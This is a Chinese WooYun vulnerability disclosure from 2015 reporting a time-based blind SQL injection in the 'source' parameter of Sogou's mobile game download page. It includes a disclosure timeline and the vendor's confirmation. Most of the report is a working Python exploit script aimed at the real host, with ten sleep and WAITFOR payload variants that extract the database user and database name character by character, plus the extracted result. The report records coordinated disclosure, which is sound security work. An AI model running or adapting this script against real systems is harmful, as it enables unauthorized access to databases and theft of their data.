当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160784

漏洞标题:搜狗手机游戏的一处SQL注入

相关厂商:搜狗

漏洞作者: 進撃のDanny

提交时间:2015-12-12 22:43

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-12: 细节已通知厂商并且等待厂商处理中
2015-12-14: 厂商已经确认,细节仅向厂商公开
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

搜狗手机游戏的一处基于时间的SQL盲注。

详细说明:

http://shouyou.sogou.com/download.html?gid=wan_1570&source=shouyou.sogou.com%27*%23
source参数存在SQL注入可以获取任意数据。

漏洞证明:

测试脚本

import httplib,time,string,sys,random,urllib
def getPayloadURL(url,i,payload,payload_type):
if payload_type == 1:
s = "if(ascii(mid(user(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
elif payload_type == 2:
s = "if(ascii(mid(database(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
elif payload_type == 3:
s = "W8ul0scE';if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
elif payload_type == 4:
s = "W8ul0scE';if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
elif payload_type == 5:
s = "aa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
elif payload_type == 6:
s = "aa'XOR(if(ascii(mid(database(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
elif payload_type == 7:
s = "-1;if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
elif payload_type == 8:
s = "-1;if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
elif payload_type == 9:
s = "-1;if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
elif payload_type == 10:
s = "-1;if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
#print url + urllib.quote(s)
return url + urllib.quote(s)
def exploit(host,url,payload_type,timeout=5):
res = ''
payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
for i in range(1,30,1):
for payload in payloads:
try:
conn = httplib.HTTPConnection(host, timeout=timeout)
conn.request(method='GET',url=getPayloadURL(url,i,payload,payload_type),headers={'Content-Type': 'application/x-www-form-urlencoded'})
sys.stdout.flush()
conn.getresponse().read()
conn.close()
except Exception,e:
res += payload
print "\ncurrent result is",res
break
print res
if __name__=='__main__':
host = 'shouyou.sogou.com'
url= '/download.html?gid=wan_1570&source=shouyou.sogou.com'
payload_type = 5
exploit(host,url,payload_type)


user is [email protected]

QQ截图20151212172526.png


修复方案:

过滤

版权声明:转载请注明来源 進撃のDanny@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-14 16:14

厂商回复:

感谢支持

最新状态:

暂无